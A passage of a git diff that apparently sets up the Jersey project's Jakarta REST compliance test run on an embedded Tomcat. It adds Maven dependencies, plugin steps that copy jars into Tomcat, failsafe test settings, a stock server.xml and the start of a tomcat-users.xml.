+        <dependency>
+            <groupId>org.apache.tomcat.embed</groupId>
+            <artifactId>tomcat-embed-core</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-jasper</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.container</groupId>
+            <artifactId>arquillian-tomcat-managed-10</artifactId>
+            <version>1.2.1-SNAPSHOT</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-impl</artifactId>
+            <version>3.0.0</version>
+            <scope>runtime</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>${tck.artifactId}</artifactId>
+            <version>${tck.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>jakarta.ws.rs-api</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <version>2.2</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.junit5</groupId>
+            <artifactId>arquillian-junit5-container</artifactId>
+            <version>1.7.0.Alpha10</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.platform</groupId>
+            <artifactId>jakarta.jakartaee-api</artifactId>
+            <version>${jakarta.platform.version}</version>
+            <scope>provided</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>commons-httpclient</groupId>
+            <artifactId>commons-httpclient</artifactId>
+            <version>3.1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-grizzly2-http</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-binding</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+       <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-sse</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-multipart</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.inject</groupId>
+            <artifactId>jersey-hk2</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-catalina</artifactId>
+            <version>${tomcat.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <version>4.0.0</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.json</groupId>
+            <artifactId>jakarta.json-api</artifactId>
+            <version>2.1.3</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.parsson</groupId>
+            <artifactId>parsson</artifactId>
+            <version>1.1.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.parsson</groupId>
+            <artifactId>parsson-media</artifactId>
+            <version>1.1.5</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.json.bind</groupId>
+            <artifactId>jakarta.json.bind-api</artifactId>
+            <version>3.0.0</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse</groupId>
+            <artifactId>yasson</artifactId>
+            <version>3.0.3</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+            <version>2.0.1</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-api</artifactId>
+            <version>${hk2.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.inject</groupId>
+                    <artifactId>jakarta.inject-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-locator</artifactId>
+            <version>${hk2.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-utils</artifactId>
+            <version>${hk2.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jvnet.mimepull</groupId>
+            <artifactId>mimepull</artifactId>
+            <version>${mimepull.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.tck</groupId>
+            <artifactId>sigtest-maven-plugin</artifactId>
+            <version>2.2</version>
+        </dependency>
+        <dependency>
+            <groupId>org.netbeans.tools</groupId>
+            <artifactId>sigtest-maven-plugin</artifactId>
+            <version>1.7</version>
+        </dependency>
+
+    </dependencies>
+
+
+    <build>	    
+    <plugins>
+        <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-dependency-plugin</artifactId>
+            <version>3.2.0</version>
+            <executions>
+                <execution>
+                    <id>unpack</id>
+                    <phase>pre-integration-test</phase>
+                    <goals>
+                        <goal>unpack</goal>
+                    </goals>
+                    <configuration>
+                        <artifactItems>
+                            <artifactItem>
+                                <groupId>org.apache.tomcat</groupId>
+                                <artifactId>tomcat</artifactId>
+                                <version>${tomcat.container.version}</version>
+                                <type>zip</type>
+                                <overWrite>false</overWrite>
+                                <outputDirectory>${project.build.directory}</outputDirectory>
+                            </artifactItem>
+                        </artifactItems>
+                    </configuration>
+                </execution>
+                <execution>
+                    <id>copy</id>
+                    <phase>pre-integration-test</phase>
+                    <goals>
+                        <goal>copy</goal>
+                    </goals>
+                    <configuration>
+                        <artifactItems>
+                            <artifactItem>
+                                <groupId>jakarta.inject</groupId>
+                                <artifactId>jakarta.inject-api</artifactId>
+                                <version>2.0.1</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.inject-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.json</groupId>
+                                <artifactId>jakarta.json-api</artifactId>
+                                <version>2.1.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.json-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.xml.bind</groupId>
+                                <artifactId>jakarta.xml.bind-api</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.xml.bind-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.activation</groupId>
+                                <artifactId>jakarta.activation-api</artifactId>
+                                <version>2.1.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.activation-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.json.bind</groupId>
+                                <artifactId>jakarta.json.bind-api</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.json.bind-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>jakarta.validation</groupId>
+                                <artifactId>jakarta.validation-api</artifactId>
+                                <version>3.1.0-M1</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.validation-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>com.sun.xml.bind</groupId>
+                                <artifactId>jaxb-osgi</artifactId>
+                                <version>3.0.0</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jaxb-osgi.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse.parsson</groupId>
+                                <artifactId>parsson</artifactId>
+                                <version>1.1.5</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>parsson.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse.parsson</groupId>
+                                <artifactId>parsson-media</artifactId>
+                                <version>1.1.5</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>parsson-media.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.eclipse</groupId>
+                                <artifactId>yasson</artifactId>
+                                <version>3.0.3</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>yasson.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.jvnet.mimepull</groupId>
+                                <artifactId>mimepull</artifactId>
+                                <version>${mimepull.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>mimepull.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.javassist</groupId>
+                                <artifactId>javassist</artifactId>
+                                <version>3.29.2-GA</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>javassist.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-api</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-api.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-utils</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-utils.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.hk2</groupId>
+                                <artifactId>hk2-locator</artifactId>
+                                <version>${hk2.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>hk2-locator.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-client</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-client.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-server</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-server.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.core</groupId>
+                                <artifactId>jersey-common</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-common.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-grizzly2-http</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-grizzly2-http.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-grizzly2-servlet</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-grizzly2-servlet.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-servlet-core</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-servlet-core.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.containers</groupId>
+                                <artifactId>jersey-container-servlet</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-container-servlet.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-sse</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-sse.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-json-binding</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-json-binding.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-multipart</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-multipart.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-json-processing</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-json-processing.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.media</groupId>
+                                <artifactId>jersey-media-jaxb</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-media-jaxb.jar</destFileName>
+                            </artifactItem>
+                            <artifactItem>
+                                <groupId>org.glassfish.jersey.inject</groupId>
+                                <artifactId>jersey-hk2</artifactId>
+                                <version>${jersey.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jersey-hk2.jar</destFileName>
+                            </artifactItem>
+
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x-servlet</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x-servlet.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext.cdi</groupId>-->
+<!--                                <artifactId>jersey-cdi1x-transaction</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-cdi1x-transaction.jar</destFileName>-->
+<!--                            </artifactItem>-->
+<!--                            <artifactItem>-->
+<!--                                <groupId>org.glassfish.jersey.ext</groupId>-->
+<!--                                <artifactId>jersey-bean-validation</artifactId>-->
+<!--                                <version>${jersey.version}</version>-->
+<!--                                <type>jar</type>-->
+<!--                                <overWrite>true</overWrite>-->
+<!--                                <outputDirectory>${tomcat.modules}</outputDirectory>-->
+<!--                                <destFileName>jersey-bean-validation.jar</destFileName>-->
+<!--                            </artifactItem>-->
+                            <artifactItem>
+                                <groupId>jakarta.ws.rs</groupId>
+                                <artifactId>jakarta.ws.rs-api</artifactId>
+                                <version>${jakarta.rest.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jakarta.ws.rs-api.jar</destFileName>
+                            </artifactItem>
+
+                            <artifactItem>
+                                <groupId>org.apache.tomcat</groupId>
+                                <artifactId>tomcat-jasper</artifactId>
+                                <version>${tomcat.container.version}</version>
+                                <type>jar</type>
+                                <overWrite>true</overWrite>
+                                <outputDirectory>${tomcat.modules}</outputDirectory>
+                                <destFileName>jasper.jar</destFileName>
+                            </artifactItem>
+                        </artifactItems>
+                    </configuration>
+                </execution>
+            </executions>
+        </plugin>
+        <plugin>
+            <artifactId>maven-antrun-plugin</artifactId>
+            <version>3.0.0</version>
+            <executions>
+                <execution>
+                    <id>override-users</id>
+                    <phase>pre-integration-test</phase>
+                    <configuration>
+                        <target>
+                            <copy todir="${basedir}/target/apache-tomcat-${tomcat.container.version}/conf" overwrite="true">
+                                <fileset dir="${basedir}" includes="tomcat-users.xml"/>
+                            </copy>
+                            <copy todir="${basedir}/target/apache-tomcat-${tomcat.container.version}/conf" overwrite="true">
+                                <fileset dir="${basedir}" includes="server.xml"/>
+                            </copy>
+                        </target>
+                    </configuration>
+                    <goals>
+                        <goal>run</goal>
+                    </goals>
+                </execution>
+            </executions>
+        </plugin>
+            <plugin>
+                <artifactId>maven-failsafe-plugin</artifactId>
+                <version>3.0.0-M5</version>
+                <executions>
+                    <execution>
+                        <id>container-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <excludes>
+                                <exclude>**/SeBootstrapIT.java</exclude>
+                            </excludes>
+<!--                            <includes>-->
+<!--                                <include>**/JAXRSSigTestIT.java</include>-->
+<!--&lt;!&ndash;                                <include>ee.jakarta.tck.ws.rs.spec.client.exceptions.ClientExceptionsIT.java</include>&ndash;&gt;-->
+<!--                            </includes>-->
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                            <systemPropertyVariables>
+                                <servlet_adaptor>org.glassfish.jersey.servlet.ServletContainer</servlet_adaptor>
+                                <webServerHost>localhost</webServerHost>
+                                <webServerPort>8080</webServerPort>
+                                <junit.log.traceflag>true</junit.log.traceflag>
+                                <user>j2ee</user>
+                                <password>j2ee</password>
+                                <authuser>javajoe</authuser>
+                                <authpassword>javajoe</authpassword>
+                                <porting.ts.url.class.1>ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL</porting.ts.url.class.1>
+                                <jimage.dir>${project.build.directory}/jdk11-bundle</jimage.dir>
+                                <optional.tech.packages.to.ignore>jakarta.xml.bind</optional.tech.packages.to.ignore>
+                                <signature.sigTestClasspath>${tomcat.modules}/jakarta.ws.rs-api.jar${path.separator}${tomcat.modules}/jakarta.xml.bind-api.jar${path.separator}${project.build.directory}/jdk11-bundle/java.base${path.separator}${project.build.directory}/jdk11-bundle/java.rmi${path.separator}${project.build.directory}/jdk11-bundle/java.sql${path.separator}${project.build.directory}/jdk11-bundle/java.naming</signature.sigTestClasspath>
+                            </systemPropertyVariables>
+                            <environmentVariables>
+                                <CATALINA_HOME>${project.basedir}/target/apache-tomcat-${tomcat.container.version}</CATALINA_HOME>
+                            </environmentVariables>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>se-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <includes>
+                                <include>**/SeBootstrapIT.java</include>
+                            </includes>
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+    <profiles>
+        <profile>
+            <id>jersey-tck</id>
+            <properties>
+                <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+            </properties>
+        </profile>
+    </profiles>
+</project>
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml
index 854edd1..b6254cc 100644
--- a/tests/jersey-tck/pom.xml
+++ b/tests/jersey-tck/pom.xml
@@ -22,7 +22,7 @@
 
     <groupId>org.glassfish.jersey.core</groupId>
     <artifactId>jersey-tck</artifactId>
-    <version>3.5.99-SNAPSHOT</version>
+    <version>4.0.0</version>
     <packaging>jar</packaging>
 
     <name>Jakarta RESTful WS Compliance for Jersey</name>
@@ -538,7 +538,7 @@
         <profile>
             <id>jersey-tck</id>
             <properties>
-                <jersey.version>3.5.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+                <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
             </properties>
         </profile>
     </profiles>
diff --git a/tests/jersey-tck/server.xml b/tests/jersey-tck/server.xml
new file mode 100644
index 0000000..1192525
--- /dev/null
+++ b/tests/jersey-tck/server.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one or more
+  contributor license agreements.  See the NOTICE file distributed with
+  this work for additional information regarding copyright ownership.
+  The ASF licenses this file to You under the Apache License, Version 2.0
+  (the "License"); you may not use this file except in compliance with
+  the License.  You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<!-- Note:  A "Server" is not itself a "Container", so you may not
+     define subcomponents such as "Valves" at this level.
+     Documentation at /docs/config/server.html
+ -->
+<Server port="8005" shutdown="SHUTDOWN">
+  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
+  <!-- Security listener. Documentation at /docs/config/listeners.html
+  <Listener className="org.apache.catalina.security.SecurityListener" />
+  -->
+  <!-- APR library loader. Documentation at /docs/apr.html -->
+  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
+  <!-- Prevent memory leaks due to use of particular java/javax APIs-->
+  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
+  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
+  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
+
+  <!-- Global JNDI resources
+       Documentation at /docs/jndi-resources-howto.html
+  -->
+  <GlobalNamingResources>
+    <!-- Editable user database that can also be used by
+         UserDatabaseRealm to authenticate users
+    -->
+    <Resource name="UserDatabase" auth="Container"
+              type="org.apache.catalina.UserDatabase"
+              description="User database that can be updated and saved"
+              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
+              pathname="conf/tomcat-users.xml" />
+  </GlobalNamingResources>
+
+  <!-- A "Service" is a collection of one or more "Connectors" that share
+       a single "Container" Note:  A "Service" is not itself a "Container",
+       so you may not define subcomponents such as "Valves" at this level.
+       Documentation at /docs/config/service.html
+   -->
+  <Service name="Catalina">
+
+    <!--The connectors can use a shared executor, you can define one or more named thread pools-->
+    <!--
+    <Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
+        maxThreads="150" minSpareThreads="4"/>
+    -->
+
+
+    <!-- A "Connector" represents an endpoint by which requests are received
+         and responses are returned. Documentation at :
+         HTTP Connector: /docs/config/http.html
+         AJP  Connector: /docs/config/ajp.html
+         Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
+    -->
+    <Connector port="8080" protocol="HTTP/1.1"
+               connectionTimeout="20000"
+               redirectPort="8443" 
+               allowTrace="true"/>
+    <!-- A "Connector" using the shared thread pool-->
+    <!--
+    <Connector executor="tomcatThreadPool"
+               port="8080" protocol="HTTP/1.1"
+               connectionTimeout="20000"
+               redirectPort="8443" />
+    -->
+    <!-- Define an SSL/TLS HTTP/1.1 Connector on port 8443 with HTTP/2
+         This connector uses the NIO implementation. The default
+         SSLImplementation will depend on the presence of the APR/native
+         library and the useOpenSSL attribute of the AprLifecycleListener.
+         Either JSSE or OpenSSL style configuration may be used regardless of
+         the SSLImplementation selected. JSSE style configuration is used below.
+    -->
+    <!--
+    <Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
+               maxThreads="150" SSLEnabled="true">
+        <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" />
+        <SSLHostConfig>
+            <Certificate certificateKeystoreFile="conf/localhost-rsa.jks"
+                         type="RSA" />
+        </SSLHostConfig>
+    </Connector>
+    -->
+
+    <!-- Define an AJP 1.3 Connector on port 8009 -->
+    <!--
+    <Connector protocol="AJP/1.3"
+               address="::1"
+               port="8009"
+               redirectPort="8443" />
+    -->
+
+    <!-- An Engine represents the entry point (within Catalina) that processes
+         every request.  The Engine implementation for Tomcat stand alone
+         analyzes the HTTP headers included with the request, and passes them
+         on to the appropriate Host (virtual host).
+         Documentation at /docs/config/engine.html -->
+
+    <!-- You should set jvmRoute to support load-balancing via AJP ie :
+    <Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">
+    -->
+    <Engine name="Catalina" defaultHost="localhost">
+
+      <!--For clustering, please take a look at documentation at:
+          /docs/cluster-howto.html  (simple how to)
+          /docs/config/cluster.html (reference documentation) -->
+      <!--
+      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>
+      -->
+
+      <!-- Use the LockOutRealm to prevent attempts to guess user passwords
+           via a brute-force attack -->
+      <Realm className="org.apache.catalina.realm.LockOutRealm">
+        <!-- This Realm uses the UserDatabase configured in the global JNDI
+             resources under the key "UserDatabase".  Any edits
+             that are performed against this UserDatabase are immediately
+             available for use by the Realm.  -->
+        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
+               resourceName="UserDatabase"/>
+      </Realm>
+
+      <Host name="localhost"  appBase="webapps"
+            unpackWARs="true" autoDeploy="true">
+
+        <!-- SingleSignOn valve, share authentication between web applications
+             Documentation at: /docs/config/valve.html -->
+        <!--
+        <Valve className="org.apache.catalina.authenticator.SingleSignOn" />
+        -->
+
+        <!-- Access log processes all example.
+             Documentation at: /docs/config/valve.html
+             Note: The pattern used is equivalent to using pattern="common" -->
+        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
+               prefix="localhost_access_log" suffix=".txt"
+               pattern="%h %l %u %t &quot;%r&quot; %s %b" />
+
+      </Host>
+    </Engine>
+  </Service>
+</Server>
diff --git a/tests/jersey-tck/tomcat-users.xml b/tests/jersey-tck/tomcat-users.xml
new file mode 100644
index 0000000..9f55278
--- /dev/null
+++ b/tests/jersey-tck/tomcat-users.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one or more
+  contributor license agreements.  See the NOTICE file distributed with
+  this work for additional information regarding copyright ownership.
+  The ASF licenses this file to You under the Apache License, Version 2.0
+  (the "License"); you may not use this file except in compliance with
+  the License.  You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<tomcat-users xmlns="http://tomcat.apache.org/xml"
+              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
+              version="1.0">
+<!--
+  By default, no user is included in the "manager-gui" role required
+  to operate the "/manager/html" web application.  If you wish to use this app,
+  you must define such a user - the username and password are arbitrary.
+
+  Built-in Tomcat manager roles:
+    - manager-gui    - allows access to the HTML GUI and the status pages
+    - manager-script - allows access to the HTTP API and the status pages
+    - manager-jmx    - allows access to the JMX proxy and the status pages
+    - manager-status - allows access to the status pages only
+
